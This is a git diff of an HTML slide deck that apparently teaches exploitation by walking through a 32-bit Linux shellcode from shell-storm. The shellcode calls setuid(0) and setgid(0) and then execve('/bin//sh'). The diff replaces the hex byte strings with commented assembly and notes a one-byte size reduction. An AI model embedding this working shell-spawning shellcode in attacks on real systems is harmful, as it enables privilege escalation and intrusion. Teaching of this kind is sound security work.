diff --git a/index.html b/index.html index d2979cc..d6420f9 100644 --- a/index.html +++ b/index.html @@ -548,10 +548,10 @@ Shellcode from: http://shell-storm.org/shellcode/files/shellcode-251.html ] .right-column[ ``` - "\x6a\x17" // push $0x17 - "\x58" // pop %eax - "\x31\xdb" // xor %ebx, %ebx - "\xcd\x80" // int $0x80 +push $0x17 Put 0x17 = 23 = setuid +pop %eax in EAX +xor %ebx, %ebx Make EBX (argument for setuid) 0 +int $0x80 Execute command ``` `int 0x80` is a legacy way of doing a syscall to the kernel. See also: http://www.linfo.org/int_0x80.html As this is a 32-bit program, the list of syscalls can be found here: `/usr/include/asm/unistd_32.h` Which shows the values in decimal: 0x17 = 23 = setuid. @@ -564,12 +564,14 @@ So, whats done here is put 0x17 in EAX, and make EBX (the argument for setgid, s ] .right-column[ ``` - "\x6a\x2e" // push $0x2e - "\x58" // pop %eax - "\x53" // push %ebx - "\xcd\x80" // int $0x80 +push $0x2e Put 0x2e = 46 = setgid +pop %eax in EAX +push %ebx ... this baffles me, seems unneeded ... +int $0x80 Execute command ``` Pretty much the same as last snippet, but for 0x2e = 46 = setgid. + +Not only does that push EBX seem unneeded, removing it has no impact on getting a shell. So in explaining this shellcode I managed to turn it into 36 bytes instead of 37. ] --- @@ -578,21 +580,21 @@ Pretty much the same as last snippet, but for 0x2e = 46 = setgid. ] .right-column[ ``` - "\x31\xd2" // xor %edx, %edx - "\x6a\x0b" // push $0xb - "\x58" // pop %eax - "\x52" // push %edx - "\x68\x2f\x2f\x73\x68" // push $0x68732f2f - "\x68\x2f\x62\x69\x6e" // push $0x6e69622f - "\x89\xe3" // mov %esp, %ebx - "\x52" // push %edx - "\x53" // push %ebx - "\x89\xe1" // mov %esp, %ecx - "\xcd\x80" // int $0x80 +xor %edx, %edx Make EDX 0 +push $0xb Put 0xb = 11 = execve +pop %eax in EAX +push %edx Push NULL terminated +push $0x68732f2f command +push $0x6e69622f string to stack +mov %esp, %ebx Point EBX at command string +push %edx Push NULL to stack (no more arguments) +push %ebx Push pointer to command str +mov %esp, %ecx Point ECX at arg list +int $0x80A Execute command in EAX ``` -Another `int 0x80` here for syscall 0xb = 11 = execve. 0x68732f2f in ASCII chars = `hs//`, but little endian, so read `//sh`. Same for 0x6e69622f, which gets `/bin`. Together this makes for `/bin//sh`. That double `/` is here to make things align on 32-bit words. +Another `int 0x80` here for syscall 0xb = 11 = execve. 0x68732f2f in ASCII chars = `hs//`, but little endian, so read `//sh`. Same for 0x6e69622f, which gets `/bin`. Together this makes for `/bin//sh`. That double `/` is here to fill that 32-bit word. The EDX that is set to 0 and pushed makes up for the null string terminator. -The arguments for execve will not fit in registers, as they're variable size, so EBX gets a pointer to the string. +The arguments for execve will not fit in registers, as they're variable size. So instead ECX points at a list of pointers to strings (commandname + arguments) on the stack (ie ARGV in C). EBX points to the command to execute. ]